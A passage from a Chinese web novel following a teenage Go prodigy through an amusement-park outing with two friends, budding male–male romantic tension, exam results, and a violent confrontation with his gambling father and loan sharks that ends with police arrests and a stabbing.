耳边只剩风的呼啸和周围人的尖叫,失重感让大脑短暂空白,所有注意力都被失控的速度占据,刺激感达到顶峰。 纪辰新不自觉地回应着苏陌扣住他的手劲,风卷着人潮的喧嚣漫上来,骨节泛白,他们成了彼此唯一的锚。 快到地面时,制动系统启动,身体从失重切换成超重,下一秒却开始回弹,让刚平复下来的心跳再一次加速。 周围人的嘶吼模糊成背景,纪辰新掌心的温度却烫的清晰,视线里地面忽远忽近,可攥着的手却没松开过半分。 苏陌被急速下坠的眩晕裹着,和心跳声重叠在一起,那些没说出口的心动,都藏在了手心的试探里。 风声、尖叫、失重的眩晕,都成了掩护!—— 作者有话说:哈哈哈[坏笑][坏笑]牵手了[捂脸偷看] 第59章 跳楼机落地, 防护解开的瞬间,赵言权刚想笑着说“好玩,够刺激!”可话音没出口, 一阵恶心涌了上来。 他慌乱地从跳楼机上踉跄着下来,还没站稳就扶着栏杆弯下腰,胃里翻江倒海的直接吐了出来。 他的脸色发白,最开始的兴奋劲全没了,眉头皱成了一团。 工作人员立即拿了水和纸递给他,“没事, 吐出来就好了, 很多人受不了高空刺激, 再加上眩晕的作用,就会导致大脑判断混乱,进而引发恶心、呕吐的症状。” 纪辰新担忧地走了过去, “你还好吗?” 他没注意, 他与苏陌的手还紧紧牵着, 两个人光明正大地在众人的视线下, 堂而皇之犹如一对亲密的恋人, 某些女生相视一笑,已经在窃窃私语了。 苏陌站在他身后不足一尺的地方, 他的目光牢牢锁在俩人紧扣的手上, 有一种隐秘的快感, 带着满足,驱使着他内心的愉悦。 赵言权吐完果然好多了,他接过工作人员的水,说了声谢谢,回过头来一看, 视线一错不错地就落在了纪辰新和苏陌十指紧扣的手上,那一瞬间水直接从他口里喷了出来 “噗!”他的眼睛因为呕吐而泛红,此刻瞪大了的瞬间还带着血丝,他指着俩人相牵的手,“我靠,你们你们干嘛呢?” 苏陌的反应迅速,他怕纪辰新被他喷的水溅到,手上使了劲将他往后拽了拽,并蹙眉道,“小心,脏!” 而纪辰新也终于意识到手里正牵着什么,他垂眸,定睛一看,霎时间整个人都凌乱了,内心也莫名慌乱了一瞬,忙不迭就撒开了手。 他回头与苏陌对视时,还恍惚看到了苏陌眼眸中的不满与不舍,但这种感觉转瞬即逝,下一秒苏陌便恢复成了淡然的模样。 好似,他们牵手只是不小心为之。 是高空失重下,为了缓解内心的恐惧而做出的一件微不足道的小事。 是的,之前坐过山车的时,苏陌就说过他害怕,他紧张! 纪辰新努力给他开解着,忽视心里突然涌现出来的种种异样! 赵言权喝了几口水后好了很多,见苏陌和纪辰新已经从那种有点基的状态下恢复正常,便也没去想太多了。 毕竟在他眼里,他们三个都是非常纯正的直男。 离开跳楼机的场地后,纪辰新打开手机,便发现崔文和在五分钟前给他打了电话,还发了短信过来。 【抱歉,纪辰新,我今天来不了了,棋院安排了一个活动,必须得去参加。】 俩人的联系方式是昨天加的,而他们商量着一起去环球游乐场也是昨天在车上提前约好的,只不过崔文和因为棋院的安排,不得不先处理那边事。 纪辰新将崔文和过不来的情况跟俩人说了。 赵言权听完直接笑了,“来不了就来不了呗,正好,咱们玩自己的!” 苏陌则是没发表意见,但他舒展的眉眼,也能看出来他心情不错。 纪辰新从他俩的态度里多少能看出点什么,便问道,“怎么感觉,你们俩都不太喜欢他?” 赵言权切了声,“啧,也没有啦,就是单纯觉得别扭。” “而且” 他想说崔文和那家伙绝对是gay,甚至还可能看上了纪辰新,但这东西又不好明说,一时纠结着如何开口,省的把纪辰新吓到。 帝都有这种性取向的不在少数,甚至隐隐有成为潮流的趋势,有时候他是真不理解,两个男人之间怎么就? 他还记得他那时候发现崔文和有这个倾向时,他刚流露出焦虑和不安,就被崔文和嘲讽了。 他说: “你怕什么,我对你又没兴趣,少给自己脸上贴金。” “我这个人慕强!” 崔文和说这话时,视线飘渺,仿佛不是在看他,而是穿过他,看向某个在年少时,就已经崇拜过很久的人。 一想起,崔文和说那话时的神情,赵言权简直无法形容,手臂瞬间起了鸡皮疙瘩。 “反正他那个人奇怪的很,咱们还是离他远点吧。” 纪辰新淡淡吐出口气,挑了下眉,“是吗?” “苏陌,你也这么认为的?” 苏陌默了一瞬,没说话。 实际上,自那天在饭店窗外瞥见崔文和的那一眼起,他就对这个人从无感转为了不喜。 因为他从他眼中看到了觊觎,对纪辰新直白且不加掩饰的觊觎! 既如此,他就不可能任由这样的人呆在纪辰新身边。 苏陌对上纪辰新的视线,轻扯了扯嘴角,神色冷淡,“我跟他不熟,总的来说,这里也只有赵言权跟他接触的多一些,既然他让我们远离,那便远离吧。” 他意思很明确,一切以赵言权感受到的为准。 赵言权忙不迭点头,一副感动到的模样,没想到苏陌会这么理解和支持他! “算了,不说他了,我们接着玩吧,接下来什么项目?”纪辰新适时转移了话题,至于崔文和这个人如何,他也不愿去深究了。 赵言权指着远处的水域,“水滑梯!这么热,咱们去冲一下暑气吧。” 说罢,三人都没意见,一同前往了水域。 十分钟后,三人淋成个落汤鸡回来,木然地坐在了树荫下。 纪辰新无语死了,“你告诉我,这雨衣有什么用?” “还是有点用的,起码内/裤没湿不是吗?”赵言权直接将短袖脱了下来,拧出了一滩水。 他甚至光着膀子,劝诫俩人,“你们也别穿了,快脱了吧,这湿哒哒的粘在身上,多不舒服啊。” 闻言,纪辰新犹豫了不到两秒,“行吧。” 说罢,他就将身上的短袖掀了下来,露出白皙透亮的肩头,发梢滴着水往下淌,顺着下颌线滑到了脖颈。 上身利落干净,胸膛线条清瘦而不单薄,随着呼吸轻轻起伏,两侧肋骨隐约勾勒出利落的弧度。 往下是流畅收紧的腰,腰线干净又好看地收向胯间,带着青涩的紧致,水珠挂在皮肤表面,顺着脊背滑向腰窝,裹着少年气的鲜活,格外抓人。 苏陌就在纪辰新的侧身处,他被这猝不及防的一幕,直接定住,钉在了原地。 他目光先是落在纪辰新的肩上,又慌慌移开,却忍不住再扫过去,脸颊微热,他喉结上下滑了滑,视线不受控地掠过对方轮廓,呼吸都乱了半拍。 赵言权则惊喜地打量着纪辰新的上身,甚至忍不住动手拍了下他的肩,“卧槽,兄弟,你好白。” 苏陌盯着那块被赵言权碰过的肩头,眼神骤然沉了沉,嘴角也被抿成了冷硬的直线,下颌线绷的发紧,“纪辰新,穿上衣服!” 或许,意识到语气太过强硬,他眉头紧蹙着又补充了一句,“会着凉的。” 纪辰新拧着衣服上的水,神色莫名地看了眼苏陌,“穿上干嘛?你怎么还不脱,你看你这衣服还在滴水贴在身上,你才容易着凉。” “往前走一百米,是专门给VIP们准备的休息间,不论是换衣还是淋浴都很方便,还可以烘干衣服。”苏陌哑着声音解释着,呼吸比刚才重了些。 赵言权瞬间被吸引了注意力,“卧槽,你不早说!” 苏陌眼神带了点闷劲儿,“你脱太快了,还有你!” 他说后面三个字时,看向纪辰新的眸光透着几分没藏住的占有欲。 纪辰新心里的异样又涌了上来,他不知道这是为何,便避开了视线。 VIP室。 由于房间有限,三人在等待了几分钟后,工作人员只腾出了两个房间。 “抱歉了,你们看,是挤一挤,还是再等一会儿?” 赵言权挺了挺胸脯,“没事,纪辰新你跟我” 然而,他话还没说完,苏陌就抢先一步,将纪辰新推进了其中一个房间,随后他自己也迈了进去。 只留下一句话,“我们俩一间。” “额好吧。”赵言权挠了挠头,耸了下肩,没想太多,毕竟苏陌对纪辰新一直都挺特殊的,他都习惯了,而且从小到大,苏陌就为纪辰新打破了蛮多准则的。 这边,被苏陌推进来的纪辰新,狐疑地回头看了眼,在对上苏陌的视线时,那抹异样又出现了。 他压了压,之前都跟苏陌躺过一张床了,不是也没什么吗,怎么现在……算了,应该是自己多想了! 思索片刻后,纪辰新陡然放松了下来,“你先洗,还是我先洗?” 苏陌目光幽幽地从他裸/露的上半身擦过,嘴角抿着,下一秒却极其自然地将身上的湿衣服也脱了下来。 霎时间,纪辰新的心,不自觉地乱了一分。 他的视线不由落在了面前对着他敞开的脊背线条上。 苏陌侧对着他,头转过来,目光微垂带滞,含着点软意的沉。 他没有夸张的肌肉,肩线利落却藏着筋骨,胸背薄肌紧实,腰腹隐约的线条藏不住,少年感与力量感刚好相撞,像棵挺拔的白杨树,带着独有的,不刻意的吸引力。 俩人赤/裸上身面对面站着,都给纪辰新看愣了,他嘴比脑子快,“啧,身材不错啊,练了?” 苏陌眼睛半垂盯着对方,带着点漫不经心的沉,呼吸时胸口轻轻起伏,“还好。” 他没刻意靠近,只是指节放在了裤带处,轻轻解开了扣子,然后缓缓下滑扯了扯拉链,他的喉结微微滚动,一瞬不瞬地盯着面前的人儿。 纪辰新眼睁睁看着他的动作,慢慢瞪大了眼睛,这丫的,该不会要脱裤子了吧! 虽然他俩现在是好兄弟,好朋友,但好像也还没到坦诚相见的地步吧! “你” 纪辰新刚吐出一个字,便见苏陌用戏谑的眼神看着他,微微倾着上身,目光黏在他身上,“你在期待什么?” 轰! 纪辰新被他这句话炸懵了,苏陌的眼眸就像把暧昧的钩子悄悄系在了他身上,让人头皮发麻,挪不开眼!—— 作者有话说:哈哈哈[坏笑] 第60章 “我” “我没有!” 纪辰新猛地别过脸, 声音发紧地否认,指尖攥的发白,耳尖烧的发烫。 太诡异了。 实在是太诡异了! 纪辰新感觉自己胸腔撞的发疼, 脑子更像是塞进了轰鸣的小马达,乱成了一团。 苏陌眼底压着暗沉沉的光,不灼人却缠人,盯着人时像含着点没说透的心思,他勾唇笑着,语气慢悠悠带着点拖腔, “是吗?” 说罢, 他轻轻拉下了拉链, 指节漫不经心地将长裤松开,裤子由于没了支点,陡然滑了下去, 他嘴角噙着点似笑非笑, 眼神落在人身上不紧不慢地打个转。 长裤滑落时, 露出的腿又直又长, 肌肉线条利落, 没半分拖沓的软感,透着藏不住的力量, 连脚踝线条都干净。 苏陌半抬着眼, 没什么明确的表情, 可那只剩内裤的模样,偏带着说不清道不明的意味,让人心里直打突。 纪辰新梗着脖子,耳边全是嗡嗡的鸣响,连眼神都不敢对视, 强装着镇定。 太奇怪了,太奇怪了! 怎么会这样? 苏陌眼尾轻轻耷拉着,目光黏在纪辰新身上,声音压的偏低,带着点缠绵的哑,“可是你看起来,很紧张?” 纪辰新狠狠晃了晃脑子里混沌的念头,最后抬眸直视了过去,不愿示弱的对他吹了个口哨,“哈,有吗,我只是有些惊讶罢了,没想到你这里居然这么可观,这么大!” 意识到他在说什么,苏陌歪了下脑袋,轻挑眉骨,笑了一声。 他没有说任何露骨的话,但眼波里却晃着细碎的勾人劲儿,惹得人心尖发颤。 纪辰新喉结不受控制地滚了滚,心跳快要蹦出来,“既然都脱这么干净了,要不全脱了?” “也好去洗澡啊!” 苏陌似笑非笑地看着他,完全忽略他后面半句,说话时故意顿半拍,像握着鱼饵手悬在水面,勾的人心痒,“怎么,你想看?” 他这话说的人心里直打鼓,连呼吸都慢了半拍,看着他只着贴身内裤的模样,仿佛下一秒真要裸在他面前,纪辰新受不了了,本就强装的镇定,顿时被慌乱拆得一干二净,脸颊热得能煎蛋。 眼看纪辰新即将炸毛,苏陌终于大发慈悲,往后退了一步,神色恢复如常道,“跟你开玩笑呢,我去洗了。” 下一秒,他便弯腰拎起踩在脚下的裤子,随手丢在了椅子上,然后在纪辰新明晃晃地视线里,去了浴室。 纪辰新在他转身之际,终于舒了口气,只是视线里那笔直、充满力量又紧实的长腿,影影绰绰,带着点挥之不去的印象,终是在他脑中留下了一丝痕迹。 苏陌清洗的时间不长,出来时腰部裹了条浴巾,纪辰新没敢多看,甚至话都没说一句,便直接冲进了浴室,并关上了门。 苏陌看着那紧闭的门,微微蹙了眉,思量着,莫非生气了? 浴室,顶喷,像雨幕一样淋下,纪辰新仰头接受,他闭着眼思索着刚刚的一幕幕,思绪就像凌乱的线团一样找不到头。 他倒不是生气,而是想不明白,明明之前和苏陌睡一张床,都没有生出这种令人心烦意乱的感觉,怎么突然就 难道是因为多看了他几眼身材的缘故? 但这也说不通啊,他们两个男的,对方有的,自己也有,怎么会存在吸引力呢? 这可真是匪夷所思! 纪辰新怎么想都想不明白,最后索性不去想了。 世间万物,但凭心迹,有时候太计较反而没结果,最好的做法是顺其自然 对,顺其自然! 这念头一出,纪辰新心里顿时好受多了。 然而,等他洗完澡出来,房间早就空无一人,苏陌人呢? 纪辰新打开手机,一条消息跳了出来,来自苏陌:【工作人员说有多的房间空出来,我就过去了!】 这样啊也好! 纪辰新莫名放松了下来,甚至悠哉地哼起了歌,烘起了衣服。 半小时后,三人约好时间,一同出了VIP室,准备去玩运动类的项目。 只是,这期间,纪辰新每每与苏陌对上视线,心里总会猝不及防地出现一把小刷子,挠他一下。 好在,他自控力强,努力去忽视后,倒也逐渐恢复了正常。 苏陌则与之前无异,他神态自若,仿佛什么都没发生一般,极其自然地跟他说话互动。 不得不说,这确实让纪辰新内心宽慰了不少,看吧,他就说是想多了,他们俩根本就没有任何问题啊! 一直到下午五点左右,三人才出了游乐场,项目不说全部玩完,但也玩了个百分之六十。 赵言权一上车,倒头便睡了。 纪辰新也差不多,哈欠连天,都没讲几句话,就渐渐闭上了眼睛。 一时间,车内陷入了疲倦的静谧,苏陌坐在纪辰新身旁,肩膀抵着肩膀,缓缓靠了过去,俩人的头便挨在了一起,睡的香甜! 不知时间过了多久,司机一声到了,赵言权猛然惊醒,下意识侧目一看,好家伙! 他这俩好兄弟居然亲密地依偎在了一起? 他的眼睛乍然一亮,像是看到了什么有趣的事情,偷偷拿出手机,拍了照! 心想着,等哪天发出来,笑话他俩一下,顺便调侃两句,捉弄捉弄,嘿嘿! 苏陌先纪辰新一步醒过来,抬眼便对上了赵言权那欠扁的眼神,一时无言。 纪辰新动了动头,意识慢慢回笼,在他睁开眼之际,苏陌已然坐正,没有让其发现任何异常。 赵言权依旧笑的意味深长,纪辰新莫名其妙地看着他,“笑什么?” “啊,没什么。”赵言权勾着唇,收回视线,然后伸了个懒腰,“走啦走啦,饿死了,回去吃饭!” 说罢,纪辰新也跟着下了车。 苏陌半倚在车座里,目光沉在纪辰新的背影上,带着点晦暗的沉郁,直到那道身影彻底消失,才慢慢垂下眼,吩咐司机,“走吧。” * 纪辰新在赵言权家待的这几天,三人在帝都玩了一圈,终于等到了高考成绩出来的那天。 纪辰新稳坐在电脑前,心平气和地输入了身份证号和准考证号,下一秒,弹出的页面并没有出现成绩。 而是出现了一行字,“你的位次已经进入全省前50名,具体情况请于XX日查询!” 赵言权站在旁边,念了出来,随后蹙着眉头,“前五十?XX日不就是三天后吗?” “卧槽,全省前五十啊?”他像是才反应过来,真心实意地为他高兴,“牛逼啊兄弟!你打算报考哪里的大学?” 说着,他又连忙道,“来帝都不?以后咱们还可以继续约着玩!” 纪辰新点了点头,“嗯,我确实是这么打算的,但还没确定好选哪个学校。” 赵言权由于没有参加高考,对这个并不是很了解,他一拍脑袋道,“对了,苏陌也参加了高考,我们问一下他。” 话刚落,苏陌的电话就已经打过来了。 但不是打给的赵言权,铃声突兀地响起,纪辰新连忙从兜里将手机拿了出来。 随后,按下了接通。 苏陌的声音清亮,仿佛能闻到他身上清淡的薄荷味。 他说,“纪辰新,成绩出来了,你查了没?” 纪辰新开的是免提,赵言权也凑在一旁听,抢着回答道,“纪辰新他全省前五十,要三天后才能查到。” 闻言,苏陌轻笑了声,调子干净又明朗,“那可真是有缘,我的也被屏蔽了。” “哇,是吗,那确实有缘了!”纪辰新心情不错地回复着。 “嗯。”苏陌的声音轻轻扬扬,“你打算报哪里的大学?” “帝都。”纪辰新笑了笑,“你呢。” 苏陌默了一瞬,尾音轻晃,“要不,我们俩报同一所大学吧,这样以后还能相互照料。” 纪辰新还没说话,赵言权便急着开口道,“欸,我看行,这样我就可以同时找你们俩一起玩了!” 苏陌静静地等着纪辰新的回答,“你觉得呢?” “当然没问题,你有推荐的学校吗?”纪辰新无比同意这个提议,距离完成任务的时间已经不足一年,自然是离男主越近越好啊! “好,那就这么说定了,我们一起报清北。”苏陌一锤定音。 纪辰新没有任何异议地挂断了电话,他准备收拾收拾东西就回墨城了。 赵言权根本不舍得他离开,一直嚷嚷着让他再多住几天,说家里就他一个人,太冷清了! 纪辰新好笑地看着他,“临近开学时,我会再过来。” “你要是想玩游戏,找我开黑,给我发信息或是打电话说一声就行。” 他的去意已决,赵言权说什么也拦不住,最后都想跟他一起回墨城了。 纪辰新一句话便堵住了他,“你看赵叔同不同意吧,你每天的训练能放下?” 赵言权嘟囔着道,“给他拍照就行了。” “你确定?”纪辰新挑了下眉,“你玩心太重了,脱离了掌控,便如脱缰的野马,他决计不会同意的。” 果然,事情就像纪辰新说的那样,当晚赵信得知了赵言权的想法,连商量的余地都没有,直接就给否了。 他这儿子,平时在他眼皮子底下,都有点阳奉阴违意思,要是跑远了,只会更难管! 无奈之下,赵言权便也歇了心思,老老实实在家训练。 纪辰新回墨城那日,托两位好兄弟的福,头一回坐了飞机。 这俩背着他,给他买了机票。 赵言权还一个劲推卸责任,说苏陌要买的,根本不关他的事,他也就是帮着提供一下身份证而已。 纪辰新简直是既好气又好笑,难怪难怪他那天看他鬼鬼祟祟在他房间找什么,原来是在找这个。 不过总而言之,他还是很感动的,他很庆幸有两个这样的好朋友。 不对不止两个! 他还有一个 下了飞机,纪辰新垂眸盯着苏陌发过来的那行字,良久。 苏陌:【他一直问,我想他应该有权力知道,便将你的事都跟他讲了,不过他好像比赵言权更生气,你看下要不要加吧。】 纪辰新眼睛微微发酸地吐出口气,有些不愿面对,但不可否认的是,他最对不起的人确实是肖椿! 思虑了好一会儿,他才编辑了条验证消息,发送了过去。 【你好吖~//(^v^)\\~,我是纪辰新!】—— 作者有话说:肖椿:不知道为什么,看到他这嬉皮笑脸的样子,更来气了![彩虹屁]《 》 60-70 第61章 纪辰新盯着消息框, 一连三天,肖椿都没通过他的验证消息。 他知道他肯定看到了,但由于拗不过这口气, 故意不理他呢。 甚至这期间,对不起三个字,纪辰新都发了不下十遍了,但依旧没什么用。 这可真是难办啊。 系统不管这些,它只在乎任务,【宿主, 今天第三天了, 你必须练棋了。】 纪辰新轻嗤了一声, 他现在知道只是模拟死亡,并不会真的死,所以根本都不着急了, 能拖就拖。 但这样做的后果, 那便是再次体验了一次濒临死亡的感觉, 甚至是持续性的, 一直到他重新捻起棋子, 这种窒息的感觉才慢慢消减。 于是,纪辰新一手夹着棋子, 一边痛苦喘着气, 最后终于醒悟, 决定不硬刚了,因为根本没必要。 系统不赞同地道,【宿主,你这是何苦呢,平白受罪不是?】 纪辰新下了几十手棋, 才慢慢活了过来,【呵,还不都拜你所赐?】 由于他的怨气太大,系统自知理亏不再吱声。 纪辰新倒也看的开,毕竟这么多年都过来了,也不差这最后一年了,何况每隔三天下一次棋,已经成为习惯刻进了他的骨子里,甚至有时候为了精益求精,他废寝忘食地一连下好多天都是常事。 所以现在他怨气归怨气,吐槽归吐槽,但实际上,他接受起来的还是蛮快的。 肖椿通过他的验证消息,已经是半个月后的事了。 那日,纪辰新在网吧与游戏里的好友正开黑,消息框一连几条消息顶了过来,他都没注意到。 直到,对面发起了语音通话,纪辰新才恍然醒神。 他拿起手机,看到来电是肖椿时,怔了一瞬,随即嘴角牵起,点击了接通。 电话里,少年的声音带着粗沉,像是没调准的弦,语速快的如倒豆子,“纪辰新,你听我说,你那赌鬼爹欠了很多钱,一群高利贷扬言要跺他的手,他为了自保,把你推出去了。” “他还看到了你全国赛夺冠的影像,说你是他儿子,父债子偿,他找不到你,但那帮放高利贷的一定能找到你!” “你快想想办法,或者再次搬家吧!” 纪辰新眉眼压了下来,“好,我知道了,谢谢你告诉我这些!” 肖椿的声音带着变声期的生涩,“你那赌鬼爹应该会跟随这帮人一起过来找你,很可能就这在几天,你想好怎么做了吗?” 纪辰新默了一瞬,如果只是对付纪知远一个人,他确实有把握,轮体格和力量,如今的纪知远绝对不会是他的对手了。 但现在若是一帮人过来,他一个人倒是不好对付了。 纪辰新思来想去,放高利贷犯法,这帮人估计也不敢明目张胆对他们怎么样。 即便真敢怎么样,他家离警局很近,警察出警也就几分钟的事,好像也没什么好怕的。 但是,他不想再与这个人渣纠缠下去了,要是有一劳永逸的办法就好了! 该怎么做呢? 纪辰新有些头疼地道,“还不知道,我得想想。” 电话里,沉默了好一会儿,肖椿斟酌着开口,“你有没有想过,大义灭亲,把他送进去?” 纪辰新眸色一闪,肖椿居然跟他想到一块儿去了。 “你有什么见解?”纪辰新起身,出了网吧,寻了个僻静的地。 肖椿咬着唇道,“这些年,他为了钱,偷盗了不少东西,我们巷子的很多人家里都被他盗窃过,由于数额不大,又怕被他报复,便一直没声张,如果你想送他进去,我可以帮你去游说大家,帮你指证!” “他每家每户偷盗的金额虽然不多,但是全部加起来也有几万了,或许可以判个一两年。” 纪辰新蹙了眉头,“一两年不够,你都说了巷子里的人怕他报复,他们真的敢出来指证吗?” “那你想怎么办?”肖椿也没辙,“至少也能消停个一两年不是吗?” 纪辰新沉思着,“我再想想吧。” 肖椿没再催促,只是在挂断前,说了句,“如果你想好了,跟我说一声!” 电话挂断后,纪辰新回网吧下了机子,然后心事重重的回了家。 家里,李春兰正在编制竹篮还有一些各式各样的小玩意儿。 她就是闲不下来,总想多做点事,添补家用。 尽管纪辰新跟她说了,不要太操劳,钱够用就行,但老太太依旧雷打不动,生怕少赚了这十几二十块钱。 李春兰看到孙儿回来,说了句,“桌上茶壶里煮了金银花茶,喝点解暑下火。” 这一路上,纪辰新心里已经有了初步计划,现在最主要的问题是得跟奶奶通个气。 他给自己倒了杯茶,然后抿着茶杯坐在了奶奶身旁,看着她做手工。 李春兰最是了解孙子,瞧出了他有心事,便问,“怎么了?” 纪辰新盯着竹篮沉着脸,开门见山道,“奶奶,纪知远在找我们。” 伴随着这句话落下,李春兰手中的竹篮也陡然跌了下去。 她的神色瞬间变的惊惧与惶恐,“你怎么知道的,你看到他了?他来墨城了?” 纪辰新伸手握住了老太太的手腕,给予她力量,“没,还没有,不过也快了,是肖椿告诉我的,奶奶你先别慌!” “肖椿?”李春兰恍惚了一瞬,记忆将她拉回了从前,“原来是椿小子啊,他是个好小子,他不会骗我们的。” 虽然不知道孙儿是如何与肖椿联系上的,但现在这都不重要,李春兰尽管神色受惊,但一想到自己那个不成器的儿子很有可能会再次伤害到孙儿,瞬间眼眸就淬上了一层冷硬的光。 她用一种保护的姿态告诉纪辰新,“别怕,有奶奶在,这次奶奶就算是豁出命来,也不会让他再伤害你。” 老太太话语间有一种豁出去的狠劲,纪辰新连忙安抚,“哎呀,奶奶,我有办法,你可千万别出头,别跟他硬碰硬,不值得。” “你有办法?什么意思?”李春兰狐疑地盯着他,一副不太相信的模样。 纪辰新神色镇定地道,“我跟你说这事,也是想问问你的意见。” 意识到孙儿话里有话,老太太蹙着眉头,“到底什么事?” 纪辰新将肖椿跟他说的那些都给李春兰转述了一遍,然后道,“如果将他送进去,您愿意吗?” 李春兰没有丝毫犹豫的道,“我有什么不愿意的,他平日作恶多端,不服管教,早就应该进去了。” “小新,你放心,尽管去做,奶奶不会阻碍你的!” 有了这句话,算是吃下了颗定心丸,纪辰新顿时心下有了计较。 接下来的四五天,祖孙俩都在平静中度过。 然而这副平静只是表面上的,李春兰自从得知了纪知远将要找过来的事,睡觉都不安稳了,整日提心吊胆,总觉得纪知远会从哪个犄角旮旯冒出来。 其实不止她,连带着纪辰新都不出去上网了,每天搁家练棋,就怕自己不在的时候,这群人找过来伤害到奶奶。 这种悬着的日子,终于在那天傍晚,大门被人用拳头狠狠砸的嗡嗡响,伴随着粗粝的喊声穿透门缝,其中还混杂着“欠债还钱”的嘶吼,落到了实处。 日日夜夜的担心就像浸了水的麻绳,无时无刻不勒在胸口,令人喘不过气来。 李春兰不自觉把孙儿往身后藏,她死死盯着门,下巴绷的紧,原本浑浊的眼睛此刻睁得极大,“乖孙儿,别怕。” 纪辰新舒展着眉眼,没有一丝惧怕,“没事的,奶奶,我不怕。” 纪知远贴着门,仔细听着里面的动静,蓦地他眼睛一亮,“把门踹开吧,他们就躲在里面,我听到声音了。” 话落,“砰——!”一声巨响炸开,门发出刺耳的断裂声,整扇门猛地往里弹开。 李春兰浑身发冷,嘴唇哆嗦着发不出声音,只是死死攥着身后纪辰新的手,用尽全身力气竖起一道脆弱却不容侵犯的屏障。 五六个彪形大汉堵在门口,各个身宽体胖,胳膊上还刻着刺青,脸盘糙得泛油光,三角眼斜睨着屋内的二人。 纪知远从人缝里挤出来,腰弯得快贴到地面,双手往前伸着指着屋内的俩人,声音带着谄媚,又掺着着急忙慌的讨好,“我就说他们在吧,他们手里肯定有钱。” 彪形大汉里为首的人踱步往客厅一站,脚踹了踹正中央的椅子,粗声粗气地拍着桌子,“钱呢?别他妈磨蹭!” 纪知远眼窝陷的像两个黑洞,眼白泛着黄,浑浊的眼珠没半点光,头发黏城一绺绺贴在头皮,胡茬青黑扎拉的冒出来,身子透着虚浮。 在纪辰新眼里,他从来都不是父亲,而是一个杯债务和赌瘾缠死的烂人。 李春兰依旧护着孙儿,仿佛对方再靠近一步,她便会不顾一切地扑过去。 领头的人将桌上的碗猛地砸在了墙壁上,声音粗的像砂纸磨铁,“快将钱拿出来,我的耐心有限!” 说着,他又给后面的小弟递了眼神,小弟瞬间心领神会,直接将纪知远狠狠掼在墙上,“哐”的一声闷响,随后是狠厉的巴掌甩在他脸上,威胁老太太道,“再不拿钱,老子就把你儿子的胳膊卸下来抵债!” 纪知远疼地蜷起了身子,指着不远处的李春兰吼,“老太婆,你装什么死,赶紧把钱拿出来。” “小畜生,你老子都快被人打死了,还不拿钱?” “小畜生,你再瞪,再瞪,我把你眼睛抠出来。” 纪辰新被他咒骂,神色未变,甚至欣赏起了他被揍的画面。 领头的人见这俩人不为所动,便大步朝祖孙俩走了过去,眼见他即将碰到李春兰,纪辰新瞬间挺身而出,调转了位置,将老太太护到了身后。 他嘴角嘲讽地道,“你们就算把他打死,我们也没钱!” “我们早就与他断绝关系了,这人随你们处置!” 为首的大汉,根本不吃这套,他脚狠狠碾过地上的碗碴,眼神狠戾,“你爹欠的债,就得你替他还!” “小兔崽子,你跑不了的!” 说着,他拎起纪辰新的衣领,一拳头砸到他脸上,纪辰新微微蹙了眉闷哼了声,然后扭头朝他淬了一口。 瞬间,屋里的空气像是凝住了,每一声辱骂都带着恶狠狠的戾气。 “小兔崽子,我看你是嫌命太长,想死吧。”领头的大汉拍了拍纪辰新的脸,随后一脚将他踹了出去,然后抄起根木棍就要朝他身上抡! 霎时间,“不许动,警察!” 震的人耳膜发紧的喝声突然从外面冲了进来,几道藏青色身影瞬间将场面控制住。 纪辰新躺在地上无声地对着领头人笑了,他怎么可能真的乖乖挨揍,早在这群人锤门时,他就已经报了警。 不管是高利贷,还是暴力催收,都犯法,他就是要让警察亲眼目睹这一切。 强光手电扫过屋内,光束落在大汉们扬起的拳头上,将满室的混乱劈得粉碎。 “都站在原地,双手抱头!” 领头人猛地一怔,刚要撒野的咒骂卡在了喉咙,他怎么都没想到警察会来,甚至还来的这么快! 李春兰连忙将纪辰新扶了起来,她的手在不停地抖,显然恐惧极了。 地上的纪知远还在咳着喘,缩在角落不敢乱动弹。 原本闹的凶的几个彪形大汉,此刻没了半分嚣张,要么被警察按在墙上搜身,要么安静如鸡,配合警察上铐。 纪知远是最后被警察押起来的,只是他临近出门时,突然挣开钳制,疯了般扑向祖孙俩。 他的眼睛瞪得快裂开,血丝爬满浑浊的眼白,声音又尖又颤,“妈,乖儿子,快把钱给我,你们不能不管我啊!” “他们顶多被拘留十五天,等他们出来一定会跺我手,卸我脚的,救救我吧!” 他攥着李春兰和纪辰新的胳膊死命的摇晃,指甲都要嵌进皮肉里,前一秒还在苦苦求饶,“乖儿子,妈,我知道错了,以后再也不赌了,你们拿钱出来帮我度过这次的难关好不好。” 下一秒,他见纪辰新冷着脸将他的手拽开,还将李春兰护在了身后,他的脸色骤然扭曲,吐沫星子都喷了出来,“你个白眼狼,我好歹也是你爹,现在见死不救?” “我死了对你有什么好处?” “我知道了,你巴不得我死吧?” “你休想摆脱我,我就算死也不会放过你的!” 他的恐惧早已变成歇斯底里的疯魔,像只被人逼到墙角的臭虫,急红了眼就乱咬人,一巴掌甩在了纪辰新脸上,拳头跟雨点似的砸过来,纪辰新侧身躲过时,兜里的水果刀,“当啷”掉在了地上。 纪知远的目光瞬间钉在刀上,他像是失去了理智,“小畜生,想杀我?你早就想杀我了对吧?” 纪辰新猛然抬头,将憋了许久的话吼了出来,“你赌光了家里所有的钱,房子也没了,你打骂母亲,现在还要逼死我和奶奶,你早就应该去死了,你根本不配活在这个世上。” 这话像是根火柴点燃了纪知远的疯劲,他猛地蹲下身抓起刀,眼神空茫又狠戾,嘶吼着朝纪辰新刺过来,那瞬间,他的眼底没有一丝为人父的温度,只剩淬着毒的狠劲,“你才应该去死,我现在就让你去死!” 纪辰新眼睁睁看着他刺过来,没躲,任由刀子落到了身上,鲜血瞬间染红了衣裳。 众目睽睽之下行凶杀人,就连警察都没想到,下一秒他们本能地冲了上去,将纪知远死死按在了地上,反手就将他的刀子抢了,迅速靠上了手铐! 李春兰浑身的血液都像是突然被冻住,后颈的汗毛全竖了起来,牙齿不受控地轻轻打颤,连呼吸都忘了怎么吸,目眦欲裂地看着孙儿身上的一片鲜红,腿软得几乎站不住。 “小新——!” * 纪辰新第一时间就被警察送往了医院,而李春兰在抵达医院的那刻,终于承受不住地晕了过去。 手术过程两个小时,但纪辰新醒过来已经是三个小时后了。 他躺在病床上,刚迷迷糊糊睁开眼,视线里就看到李春兰红着双眼担忧地望着他。 纪辰新轻轻扯了扯嘴角,“奶奶。” 老太太没来由的开始一个劲掉眼泪,她痛恨自己没能保护好孙儿。 纪辰新哪能不知道她在想什么,但这一开始就是他计划好的,不捅这一下,如何能彻底摆脱纪知远呢。 这次,他必定要让他牢底坐穿! 一刀就可以解决掉这个大麻烦,为什么不呢? 